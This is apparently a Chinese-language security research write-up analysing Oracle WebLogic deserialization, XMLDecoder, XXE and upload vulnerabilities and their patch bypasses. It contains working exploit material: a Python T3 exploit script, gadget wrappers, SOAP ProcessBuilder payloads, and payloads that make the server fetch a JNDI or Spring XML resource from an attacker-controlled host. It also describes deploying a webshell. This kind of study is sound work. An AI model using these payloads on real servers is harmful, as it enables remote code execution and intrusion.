0x00 前言

java知识补漏行动最后一站——weblogic。知识从来是越学越多的,何况java博大精深,想在短时间全部掌握根本不可能。但是经过这一波学习之后,再遇到java的漏洞至少不会束手无策了,“不懂java”也不再是借口了,2333333。

由于weblogic的补丁收费,所以文章中补丁大多是其他师傅文章中的内容,基本都已标明出处。如有遗漏,请联系我添加,并表示深深的歉意。

0x01 环境搭建

大佬已经为我们提供了非常方便的集成调试环境:https://github.com/QAX-A-Team/WeblogicEnvironment,按照readme操作即可。

接下来是idea的配置,首先打开从docker环境中复制出来的wlserver目录,然后将复制出来的modulewlserver/server/lib添加到library。

然后新建一个远程调试。

完成~

0x02 漏洞分析

weblogic的漏洞中反序列化占大头,反序列化漏洞大体上又分为两类,一类是T3协议,另一类也是T3是XMLDeocder。此外,还有xxe、文件上传等等漏洞。

T3

在学习java反序列化漏洞的过程中,不可避免的会碰到RMI,JNDI、JRMP等等名词,先记录一下个人的理解(可能有些片面和不准确)。

其实这几个名词的核心就是java的分布式编程,在主机B上封装了一系列的方法供主机A上的java程序来调用,在这个过程中用到的一些协议和技术。先来一张图:

我们按图从上到下来说,首先是JNDI,官方语言是这样的:

JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。

当java需要调用远程服务的时候,需要通过JNDI来寻找可用的远程服务,常见的有:

1
2
3
jdbc://<domain>:<port>
rmi://<domain>:<port>
ldap://<domain>:<port>

这几个都是我们在反序列化漏洞利用非常常见的。

接下来是RMI

RMI(Remote Method Invocation)即远程方法调用。能够让在某个Java虚拟机上的对象像调用本地对象一样调用另一个Java虚拟机中的对象上的方法。它支持序列化的Java类的直接传输和分布垃圾收集。

便于理解,我们可以把RMI类比为一个提供api的server,那么client与server之间通信就需要通信协议,Java RMI的默认基础通信协议就是JRMP

最后,就是T3,这是weblogic RMI所使用的协议,weblogic RMI是java RMI的一种加强版实现。

接下来我们通过wireshark抓包来看一下T3协议具体的通信过程:

首先是一个握手包,客户端与服务端通过这次握手来确定双方的身份。如果握手成功,就继续通信。

看一下请求包的结构,首先标出的4个字节是整个数据包的长度,接下来是从01 65一直到fe010000前面是T3协议的协议头。看到aced0005就非常熟悉了,是反序列化数据的魔术头。一个数据包中可以有好几个反序列化字符串,测试之后发现只有第一个aced前面要加fe100000。所以现在我们就把T3协议的数据包结构理清楚了:

显然数据包是我们可控的,只要将正常的反序列化数据替换为我们的恶意数据,或者只保留恶意数据,然后重新计算数据包长度,就可以让weblogic反序列化我们传入的恶意数据。

说了这么多,只是为了将java这些令人头大的名词理解清楚,并理解T3协议的原理,为漏洞分析打好基础,下面不多说,开整!

CVE-2015-4852

server/lib/wlthint3client.jar!/weblogic/rjvm/InboundMsgAbbrev.class

这个漏洞确实没什么好说的,所有T3协议的请求都会在这个方法中处理。没有任何过滤,weblogic提供了反序列化的入口,gadget使用的是CommonCollection1。调用栈如下:

附上利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import socket
import sys
import struct
import re
import subprocess
import binascii

def handshake(host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)

pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
return version[0] if len(version) > 0 else False

def get_payload1(gadget, command):
JAR_FILE = '/path/to/ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()

def get_payload2(path):
with open(path, "rb") as f:
return f.read()

def exp(host, port, payload):
#print(binascii.b2a_hex(payload).decode())
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return

print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)

if __name__ == "__main__":
host = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1"
command = "touch /tmp/success"

#payload = get_payload1(gadget, command)
payload = get_payload2("")
#payload = binascii.a2b_hex(b"")
exp(host, port, payload)
修复

在这个漏洞出现之后,weblogic开始对反序列化漏洞进行防御,但是是基本黑名单的防御方式。一旦黑名单被绕过,防护就会被打破,所以在之后weblogic陷入了绕过-加黑名单-绕过的循环之中。

Weblogic的反序列化的点有着三个,黑名单ClassFilter.class也作用于这三个位置。

  • weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
  • weblogic.rjvm.MsgAbbrevInputStream.class
  • weblogic.iiop.Utils.class

CVE-2016-0638

在说这个漏洞之前需要一点前置知识,transient关键字和java反序列化中的Externalizable

Externalizable

Externalizable接口extends Serializable接口,而且在其基础上增加了两个方法:writeExternal()和readExternal()。这两个方法会在序列化和反序列化还原的过程中被自动调用,以便执行一些特殊的操作。

transient

在实际开发过程中,我们常常会遇到这样的问题,这个类的有些属性需要序列化,而其他属性不需要被序列化,这些信息对应的变量就可以加上transient关键字。换句话说,这个字段的生命周期仅存于调用者的内存中而不会写到磁盘里持久化。

由此我们找到了server/lib/weblogic.jar!/weblogic/jms/common/StreamMessageImpl.class来进行绕过:

可以看到在readExternal方法中对writeExternal写入的数据又进行了一次反序列化,图中的var5实质上就是我们传入的恶意反序列化数据。

这里exp构造起来稍微有一点复杂,首先需要定义一个StreamMessageImpl,重写它的writeExternal方法,然后将我们的payload封装进去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package weblogic.jms.common; //重要,与weblogic源码保持一致

import java.io.Externalizable;
import java.io.IOException;
import java.io.ObjectOutput;
import javax.jms.JMSException;
import javax.jms.StreamMessage;

public final class StreamMessageImpl extends MessageImpl implements StreamMessage, Externalizable {
static final long serialVersionUID = 7748687583664395357L; //必须
private transient byte[] buffer; //增加transient关键字,不对这个属性进行序列化操作

public StreamMessageImpl(byte[] buffer) {
this.buffer = buffer;
}

//重写方法,写入恶意数据
public void writeExternal(ObjectOutput var1) throws IOException {
super.writeExternal(var1);
var1.writeByte(1);
var1.writeInt(this.buffer.length);
var1.write(this.buffer);
}
//后面有一大堆继承抽象类和实现接口要写的方法,不是重点,直接省略
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package cn.seaii.unser.exp;

import weblogic.jms.common.StreamMessageImpl;

public class CommonCollection1 extends Exp {
//ysoserial CommonCollections1
public static Object getObject(String command) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
//......
}

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Object object = getObject("touch /tmp/streamMessage");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);

byte[] buffer = byteArrayOutputStream.toByteArray();
StreamMessageImpl streamMessage = new StreamMessageImpl(buffer);
ser(streamMessage);
}
}

CVE-2016-3510

此次绕过使用的是weblogic.corba.utils.MarshalledObject,具体来看代码:

server/lib/weblogic.jar!/weblogic/corba/utils/MarshalledObject.class

MarshalledObject会将其封装的数据进行一次序列化。

由于不再黑名单中,就绕过了过滤正常反序列化,此时MarshalledObject就会将我们的封装进去的恶意数据反序列化,成功利用漏洞。

exp可通过简单仿照ysoserial来写,将生成的反序列化数据放在上面的py脚本中即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package cn.seaii.unser.exp;

import cn.seaii.unser.exp.Exp;
import weblogic.corba.utils.MarshalledObject;

import java.io.*;

public class CommonCollection1 extends Exp {
//ysoserial CommonCollections1
public static Object getObject(String command) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
//......
}

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Object object = getObject("touch /tmp/marshall");
MarshalledObject marshalledObject = new MarshalledObject(object);
//unser(object);
ser(marshalledObject);
}
}

CVE-2017-3248

这次绕过利用的是JRMPClient,之前提到过,JRMP是Java RMI的默认基础通信协议,这种利用方式我们在shiro的反序列化利用中也有过了解。基本原理是通过应用的反序列化漏洞构造一个JRMP的client,去连接我们预置的恶意server,client读取server返回的数据,然后反序列化,触发漏洞。

1
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 "touch /tmp/JRMP" #server端,本地运行

漏洞出现之后,weblogic在modules/com.bea.core.weblogic.rmi.client_1.11.0.0.jar!/weblogic/rjvm/InboundMsgAbbrev.class增加了如下过滤(没钱买补丁只能盗图。。):

补丁图片来自Weblogic 反序列化漏洞(CVE-2018-2628)漫谈

为什么要这么修呢?看一下ysoserial中的payload JRMPClient是怎么写的:

当动态代理的代理类被反序列化时会在readObject之前先调用resolveProxyClass,我们从图中看到黑名单中只有java.rmi.registry.Registry。可见weblogic官方只是指哪修哪,并没有从根源上解决问题。

来看一下CVE-2017-3248的部分调用链:

第一个readObject是应用反序列化JRMPClient,第二个是利用成功之后,client访问恶意server,读取server中的恶意数据进行反序列化。可以注意到反序列化调用的并不是java.rmi.server.RemoteObjectInvocationHandler的readObject,而是RemoteObject的。这是因为RemoteObjectInvocationHandler本身没有实现readObject,所以使用了父类方法。

那么目前绕过思路有这么几个:

  1. 既然是反序列化代理类才会调用resolveProxyClass,那么可以找不使用动态代理的gadget。最后调用到java.rmi.server.RemoteObject#readObject或者sum.rmi.server.UnicastRef#readExternal即可。
  2. 使用java.rmi.server.RemoteObjectInvocationHandler之外的中介类,只要这个类继承自java.rmi.server.RemoteObject即可。
  3. 使用java.rmi.registry.Registry之外的委托类。

CVE-2018-2628

按照上面的介绍思路,出现了CVE-2018-2628:

绕过一:直接反序列化UnicastRef对象,调用sum.rmi.server.UnicastRef#readExternal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
//与JRMPClient相同
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
//使用动态代理的部分直接删除
return ref;
}


public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}

绕过二:用Activator代替Registry,它们都继承自java.rmi.Remote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Activator> {
public Activator getObject ( final String command ) throws Exception {
//与JRMPClient相同
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}

public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}

CVE-2018-2893

这次绕过是前面两个漏洞的结合,由于weblogic一直没有处理streamMessageImpl,导致CVE-2016-0638 + CVE-2018-2628 = CVE-2018-2893。

https://github.com/pyn3rd/CVE-2018-2893

CVE-2018-3245

同样是jrmp相关的绕过,这次使用ReferenceWrapper_Stub来代替RemoteObjectInvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class JRMPClient4 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
//与JRMPClient相同
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
//没有过滤的情况下,测试直接返回obj也可以
//RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
ReferenceWrapper_Stub wrapperStub = new ReferenceWrapper_Stub(ref);
return wrapperStub;
}

public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}

CVE-2018-3191

这个漏洞利用的是jndi,与上面的漏洞不同的,这个漏洞是weblogic自身的gadget,没有使用第三方包(如CommonsCollections)中的gadget,所以危害相对来说更大。

漏洞的入口在com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar!/com/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager.class

跟进initUserTransactionAndTransactionManager

继续跟进,直到com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar!/com/bea/core/repackaged/springframework/jndi/JndiTemplate.class

所以我们只要构造userTransactionName属性为恶意jndi地址即可。

这里exp构造起来也很简单:

1
2
3
4
5
6
7
8
9
10
11
12
13
package cn.seaii.unser.exp;
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import java.io.IOException;

public class JNDI1 extends Exp {
public static void main(String[] args) throws IOException {
String jndiAddress = "rmi://10.254.254.254:1099/Exploit";
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiAddress);

ser(jtaTransactionManager);
}
}

这里不知道为什么用marshalsec起一个rmi server不好使,需要起一个JRMPServer。

XMLDecoder

在分析XMLDecoder相关的漏洞时,我们将重点放在xml解析的过程,weblogic的路由分发等只做简要介绍。

这部分调用栈就是weblogic路由分发的过程,从server/lib/weblogic.jar!/weblogic/wsee/jaxws/workcontext/WorkContextTube.classreadHeaderOld方法开始解析xml:

server/lib/weblogic.jar!/weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

上述部分是weblogic对于传入的xml的处理,后面才正式交给jdk中的XMLDecoder进行处理。关于这部分在WebLogic安全研究报告这篇文章中的XMLDecoder反序列化漏洞部分已经有了非常非常详尽的描述,再次表达一下对贡献这篇文章的两位师傅的膜拜。

解析的核心在于XMLDecoder对标签的匹配,通过反射调用相应的方法。

1.6.0.jdk/Contents/Classes/classes.jar!/com/sun/beans/ObjectHandler.class

在jdk1.7专门为标签设置了对应的handler:

jdk1.7.0_21.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/beans/decoder/DocumentHandler.class

配合payload看可能更容易理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>whoami</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

CVE-2017-3506

最一开始的weblogic就像白纸一样,一点过滤也没有,payload就在上面,但是没有回显。

重点来看修复:

补丁再次白嫖,来自Weblogic XMLDecoder RCE分析

CVE-2017-10271/CVE-2017-10352

只过滤object显然是不行的,这两个漏洞都是对上述补丁的绕过。我们试着分析绕过原理:

绕过方式一:将object改为void,以jdk1.7为例来看

jdk1.7.0_21.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/beans/decoder/VoidElementHandler.class

VoidElementHandler继承自ObjectElementHandler,且没有任何实现,所以最后还是走ObjectElementHandler的逻辑。

绕过方式二:使用new:

1
2
3
4
5
<java class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>whoami</string><void method="start"/>
</new>
</java>

这种方式jdk1.6不支持,无法生效。

在这次绕过之后,weblogic加强了过滤:

补丁再再次白嫖,同样来自Weblogic XMLDecoder RCE分析。这次将object、void、new等全部过滤,已经无法创建java实例。但是如果xmldecode增加新的解析规则,而黑名单不同步更新的话,不排除再次出现绕过的可能。

CVE-2019-2725

随着过滤越来越严格,漏洞利用也越来越困难。

首先看漏洞的入口,首先我们发送一个最简单的soap请求:

1
2
3
4
5
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

请求会依次经过21handler来处理:

但是当请求有weblogic.jar!/weblogic/wsee/async/AsyncResponseHandler.class来处理时,程序终止了,所以我们跟进看一下:

可以看到xml中有一个属性没有取到导致程序终止,所以我们要在payload中增加这个属性:

1
2
3
4
5
6
7
8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ads="http://www.w3.org/2005/08/addressing">
<soapenv:Header>
<ads:Action>demo</ads:Action>
<ads:RelatesTo>test</ads:RelatesTo>
</soapenv:Header>
<soapenv:Body></soapenv:Body>
</soapenv:Envelope>

继续调试,发现在weblogic.jar!/weblogic/wsee/ws/dispatch/server/OperationLookupHandler.class程序又终止了:

weblogic.jar!/weblogic/wsee/ws/dispatch/server/OperationLookupHandler.class

所以我们要再次增加属性以让程序继续运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ads="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<ads:Action>demo</ads:Action>
<ads:RelatesTo>test</ads:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>

之后请求交给weblogic.jar!/weblogic/wsee/workarea/WorkAreaServerHandler.class处理,开始读取work:WorkContext标签中的数据(payload),进行反序列化:

既然漏洞的入口找到了,下一步就是利用,但是回看上面的补丁,发现可用的标签所剩无几:

1
2
3
class标签
array标签,但是class属性的值只能是byte
string标签

为了满足这些条件并绕过补丁,达到利用漏洞的目的,我们需要找到这样一个类:

构造函数接受参数,且参数类型为byte[]或者string,构造函数中有敏感操作(反序列化、rce、文件操作、访问rmi等等),下面记录已有的可利用类:

UnitOfWorkChangeSet

这个类是漏洞曝出时最先出现的利用类:

com.oracle.toplink_1.1.0.0_11-1-1-6-0.jar!/oracle/toplink/internal/sessions/UnitOfWorkChangeSet.class

可以看到这个类完全符合我们上面说的条件,构造函数接受byte[]类型的参数,并将参数再次反序列化。

但是这个类又很大的局限性,首先这只是一个反序列化的入口,需要寻找可以利用的gadget,此时weblogic的commons-collections已经升级,可以考虑使用jdk7u21或者前提到的CVE-2018-3191也就是weblogic程序本身的一个gadget。

其实是这个类只存在于weblogic10.3.6,所以利用范围被限制的很死。

同时在构造payload时有一个很大的坑点,好多师傅都提到过,这里记录一下:

图片内容来自WebLogic RCE(CVE-2019-2725)漏洞之旅

com.sun.rowset.JdbcRowSetImpl

可以通过property属性重写payload,可以无视weblogic版本,但是由于xmldecoder解析方式的不同,不适用于jdk1.6。

org.slf4j.ext.EventData

同样符合漏洞利用的条件,可以无视jdk版本,但是只能在12.1.3版本中利用。

#####FileSystemXmlApplicationContext

最后是廖师傅的文章CVE-2019-2725 分析中提到的com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,可以无视weblogic和jdk的版本限制。其实这个思路在上面cve-2018-3245中就有利用,虽然weblogic将spring相关的类加入了黑名单,但是weblogic自己打包了一份spring,包名是com.bea.core.repackaged.springframework.xxxx,这样的包名让关于spring的黑名单形同虚设。

这个利用方式用的是com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,如果了解spring框架运行机制就会知道:spring会读取xml配置文件,然后通过反射来实例化xml中声明的类。如果我们让程序读取事先构造好的恶意配置文件,就可以实例化任意类。

payload如下:

1
2
3
4
5
6
7
8
9
10
11
<!-- 篇幅问题省略重复部分 -->
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<class>
<string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>
<void>
<string>http://10.254.254.254:8100/spel.xml</string>
</void>
</class>
</java>
</work:WorkContext>

下一步就是构造恶意xml配置文件。由于weblogic继承的spring版本较老,不能通过spel表达式调用方法,所以xml内容需要微调:

1
2
3
4
5
6
7
8
9
10
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/spel</value>
</list>
</constructor-arg>
</bean>
</beans>

下面从代码层面看一下:

XML解析过程略过,直接来到:com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar!/com/bea/core/repackaged/springframework/context/support/FileSystemXmlApplicationContext.class

解析调用的过程不再细说,整个调用栈如下:

这个漏洞的时间线可以看WebLogic RCE(CVE-2019-2725)漏洞之旅,描述的非常清晰。

防御

补丁来自CVE-2019-2729 WEBLOGIC XMLDECODER反序列化漏洞分析(已经记不清是第几次白嫖了),可以看到还是基于黑名单。

CVE-2019-2729

我们在之前也提到过,xmldecoder的解析在jdk1.6与jdk1.7/1.8之间是有区别的,正是这种区别导致了这次绕过,该漏洞只影响jdk1.6。

与jdk1.7一个标签对应一个handler的处理方式不同的是,jdk1.6将所有标签进行统一处理:

1.6.0.jdk/Contents/Classes/classes.jar!/com/sun/beans/ObjectHandler.class

不管是什么标签,只要有method属性,就会set。

继续向下看,array标签的特殊处理:

如果没有设置class属性,默认设置为Object。

在这种处理之下,即使我们传入的是array标签,仍然可以得到一个java.lang.Object对象,自然可以通过forName方法得到任意类的实例化。

最终forName方法会在1.6.0.jdk/Contents/Classes/classes.jar!/java/beans/Statement.class调用:

payload如下:

1
2
3
4
5
6
7
8
<java>
<array method="forName">
<string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
......
</void>
</array>
</java>
防御

白嫖是我快乐,补丁来自CVE-2019-2729 WEBLOGIC XMLDECODER反序列化漏洞分析

这次终于使用了白名单的方式,严格限制了能够使用的标签以及属性,期待下一次绕过的出现!

XXE

java中出现xxe的原因大同小异,多半是没有setFeature。当然在实际应用的利用过程中还有各种各样的坑,这里附上两篇Longofo师傅的文章:

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650 XXE漏洞分析

WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)分析

文件上传(CVE-2018-2894)

这是Weblogic Web Service Test Page处的任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,同时weblogic部署的目录中有随机值,所以该漏洞有一定限制。同样附上文章:

WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】

小彩蛋

习惯了weblogic这么多漏洞,如果有一天直接进了后台反而不会操作了,最尴尬的事情莫过于此,这个小彩蛋记录一下如何直接在weblogic后台部署一个webshell。

首先生成war包:

1
jar -cvf l1.war l1.jsp

在后台找到部署,然后上传我们构造好的war包,然后继续,后面一路默认+下一步就行了。

0x03 参考链接

WebLogic安全研究报告

CVE-2015-4852 Weblogic 反序列化RCE分析

Weblogic 反序列化漏洞(CVE-2018-2628)漫谈

https://github.com/5up3rc/weblogic_cmd/

Weblogic CVE-2018-3191 分析

Oracle WebLogic RCE反序列化漏洞分析

Weblogic XMLDecoder RCE分析

WebLogic RCE(CVE-2019-2725)漏洞之旅

从CVE-2019-2725绕过谈Weblogic XML RCE的绕过史

CVE-2019-2729 WEBLOGIC XMLDECODER反序列化漏洞分析